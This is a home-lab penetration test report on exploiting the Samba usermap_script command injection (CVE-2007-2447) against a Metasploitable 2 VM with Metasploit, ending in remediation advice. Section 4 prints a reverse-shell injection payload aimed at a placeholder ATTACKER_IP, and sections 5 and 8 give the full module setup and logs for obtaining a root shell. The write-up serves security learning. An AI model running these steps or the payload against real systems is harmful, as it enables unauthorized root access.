

Samba usermap_script Command Injection

CVE-2007-2447 | Metasploitable 2 | Home Lab Exercise

Prepared by	Suyash Borde
Target Host	192.168.1.9 (Metasploitable 2)
Attacker Host	192.168.1.10 (Kali Linux)
Test Date	July 12, 2026
Classification	Confidential — Educational
Lab Environment	VirtualBox — Bridged Network

1. Executive Summary

This report documents successful exploitation of the Samba "username map script" command injection vulnerability (CVE-2007-2447) against a Metasploitable 2 target in an isolated VirtualBox home lab. The vulnerability allowed unauthenticated remote command execution resulting in immediate root-level shell access with no credentials required.

Vulnerability	Samba usermap_script Command Injection
CVE	CVE-2007-2447
CVSS Score	10.0 (Critical)
Affected	Samba 3.0.0 – 3.0.25rc3
Service	SMB — Ports 139/445 TCP
Access Gained	Root Shell — uid=0(root) gid=0(root)
Exploit Used	Metasploit — exploit/multi/samba/usermap_script
Payload	cmd/unix/reverse
Session Type	Command shell — reverse TCP

Severity Rating:

CRITICAL

2. Scope & Environment

All testing was conducted within an isolated VirtualBox home lab on a private bridged network. No external or production systems were targeted at any point.

Role	OS / Service	IP Address
Attacker	Kali Linux (rolling)	192.168.1.10
Target	Metasploitable 2 (Ubuntu 8.04)	192.168.1.9

3. Reconnaissance

3.1 Targeted Samba Port Scan

A targeted Nmap scan was run against SMB ports 139 and 445 to confirm the Samba service version running on the target. The -sV flag was used to detect the exact service version for vulnerability mapping.

```
nmap -p 139,445 -sV 192.168.1.9
```

```
(root@kali)~[/home/suyash]
# nmap -p 139,445 -sV 192.168.1.9
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-12 03:10 -0400
Nmap scan report for 192.168.1.9
Host is up (0.014s latency).

PORT      STATE SERVICE      VERSION
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 08:00:27:9E:86:A9 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.87 seconds
```

Figure 1 — Nmap scan confirming Samba smbd on ports 139/445 at 192.168.1.9

3.2 Vulnerability Identification

Samba version 3.0.20 was identified. This falls within the affected range (3.0.0 – 3.0.25rc3) for CVE-2007-2447. The Metasploit module was located using the search command.

```
msf > search usermap
```

```
msf > search usermap
Matching Modules
=====
#    Name                                     Disclosure Date   Rank    Check  Description
--    -
0    exploit/multi/samba/usermap_script        2007-05-14       excellent No      Samba "username map script" Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script

msf > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf exploit(multi/samba/usermap_script) > show options
```

Figure 2 — Metasploit search confirms exploit/multi/samba/usermap_script (Rank: Excellent)

4. Vulnerability Analysis

The Samba "username map script" vulnerability exists in Samba versions 3.0.0 through 3.0.25rc3. When the "username map script" configuration option is enabled in smb.conf, Samba passes user-supplied input directly to a shell script without sanitization. An attacker can inject shell metacharacters (backticks, semicolons) into the username field during MS-RPC authentication. These are executed as the root user by the Samba daemon, which typically runs with elevated privileges.

The injected payload takes the form:

```
/`nohup bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1`
```

CVE ID	CVE-2007-2447
CVSS v2 Score	10.0 (Critical)
Attack Vector	Network — no physical access required
Authentication	None required
Impact	Complete — root shell, full system compromise
Affected Versions	Samba 3.0.0 – 3.0.25rc3
Root Cause	Unsanitized user input passed to shell via username map script
Disclosure Date	May 14, 2007

5. Exploitation

5.1 Module Configuration

The Metasploit module was selected and configured with the target IP, attacker IP, and a reverse shell payload. The cmd/unix/reverse payload establishes a reverse TCP connection back to the attacker machine.

```
use exploit/multi/samba/usermap_script set RHOSTS 192.168.1.9 set LHOST 192.168.1.10 set PAYLOAD cmd/unix/reverse run
```

```
msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.1.9
RHOSTS => 192.168.1.9
msf exploit(multi/samba/usermap_script) >
msf exploit(multi/samba/usermap_script) > search payload reverse
```

Figure 3 — RHOSTS set to 192.168.1.9; payload set to cmd/unix/reverse

5.2 Exploit Execution & Shell Access

Running the exploit triggered the command injection. Metasploit established a double reverse TCP handler and successfully opened a command shell session. The entire exploitation process completed in under 10 seconds with no credentials provided.

```
msf exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP double handler on 192.168.1.10:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo ZLD0wX02lY9K8Es6;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "ZLD0wX02lY9K8Es6\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.1.10:4444 -> 192.168.1.9:50728) at 2026-07-12 03:14:04 -0400

whoami
root
id
uid=0(root) gid=0(root)
hostname
metasploitable
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

Figure 4 — Command shell session 1 opened (192.168.1.10:4444 -> 192.168.1.9:50728); root confirmed via whoami, id, hostname, and uname -a

6. Post-Exploitation

Immediately after the shell was opened, system enumeration commands confirmed complete root-level access to the target.

```
whoami root id uid=0(root) gid=0(root) hostname metasploitable uname -a Linux
metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

With root access established, an attacker could: read and exfiltrate all files on the system, install persistent backdoors or rootkits, pivot to other machines on the 192.168.1.0/24 network, create new privileged user accounts, or destroy all data on the system. No further escalation was required as root was obtained directly.

7. Comparison with vsftpd Backdoor (CVE-2011-2523)

Both vulnerabilities resulted in unauthenticated root access but differ in their mechanism, session type, and attack surface.

Factor	vsftpd 2.3.4 (CVE-2011-2523)	Samba usermap_script (CVE-2007-2447)
Attack Type	Hardcoded backdoor in binary	Command injection via username field
Port	21/TCP (FTP)	139/445 TCP (SMB)
Session Type	Meterpreter x86/linux	Command shell — reverse TCP
Root Cause	Malicious code in source tarball	Missing input sanitization
Credentials	None required	None required
Complexity	Low — single module	Low — single module
Still Relevant	Rare (specific version only)	Common in legacy SMB environments

8. Attack Timeline

Step	Action	Tool	Result
1	Port Scan	nmap -p 139,445 -sV	Samba 3.0.20 confirmed
2	Module Search	msf > search usermap	usermap_script module found
3	Module Selection	use exploit/multi/samba/...	Module loaded
4	Configure Target	set RHOSTS / LHOST	Target and handler set
5	Set Payload	set PAYLOAD cmd/unix/reverse	Reverse shell payload selected
6	Execute Exploit	run	Command injection triggered
7	Shell Received	Reverse TCP handler	Session 1 opened — root shell
8	Post-Exploitation	whoami / id / uname -a	uid=0(root) confirmed

9. Risk Assessment

Risk Factor	Rating	Justification
Exploitability	Critical	No credentials; automated Metasploit module; completes in seconds
Impact	Critical	Direct root shell — full system compromise
Attack Vector	Network	Remotely exploitable over SMB ports 139/445
Complexity	Low	Single module, no prior access or brute-force needed

Prevalence

High

SMB is widely exposed; legacy Samba versions still common

10. Remediation Recommendations

1. Upgrade Samba Immediately

Update to Samba 3.0.25 or later. The vulnerability was patched in version 3.0.25. Modern distributions ship with versions 4.x which are not affected by this CVE.

2. Disable username map script

If upgrading is not immediately possible, remove or comment out the "username map script" directive in smb.conf and restart the Samba service. This disables the vulnerable code path entirely.

3. Restrict SMB Access via Firewall

Ports 139 and 445 should never be exposed to untrusted networks. Apply firewall rules to allow SMB only from trusted internal IP ranges or VPN subnets.

4. Run Samba as Non-Root

Configure Samba to run under a dedicated low-privilege service account. This limits the blast radius if the service is compromised.

5. Disable SMBv1

SMBv1 is deprecated and inherently insecure. Disable it explicitly in smb.conf: set "min protocol = SMB2" to enforce modern protocol versions.

6. Regular Patch Management

Implement a patch management process that tracks CVEs for all network-exposed services. Tools like OpenVAS or Nessus can flag outdated Samba installations automatically.

11. Conclusion

The Samba usermap_script vulnerability demonstrates how a single missing input sanitization check in a network service can result in complete system compromise. Unlike the vsftpd backdoor which required a deliberately malicious binary, this vulnerability arose from a design flaw — trusting user-supplied data in a privileged context. This is a pattern that appears repeatedly across real-world vulnerabilities and is a core concept in OWASP A03 (Injection).

Skills practised: targeted Nmap service scanning, CVE research and module mapping, Metasploit payload selection (cmd/unix/reverse vs Meterpreter), reverse TCP handler mechanics, post-exploitation enumeration, and structured report writing.

Legal Disclaimer: This penetration test was conducted exclusively within a personal isolated VirtualBox lab environment. All target systems are intentionally vulnerable VMs owned and operated by the tester. No unauthorised systems were accessed. This report is produced for educational and portfolio purposes only.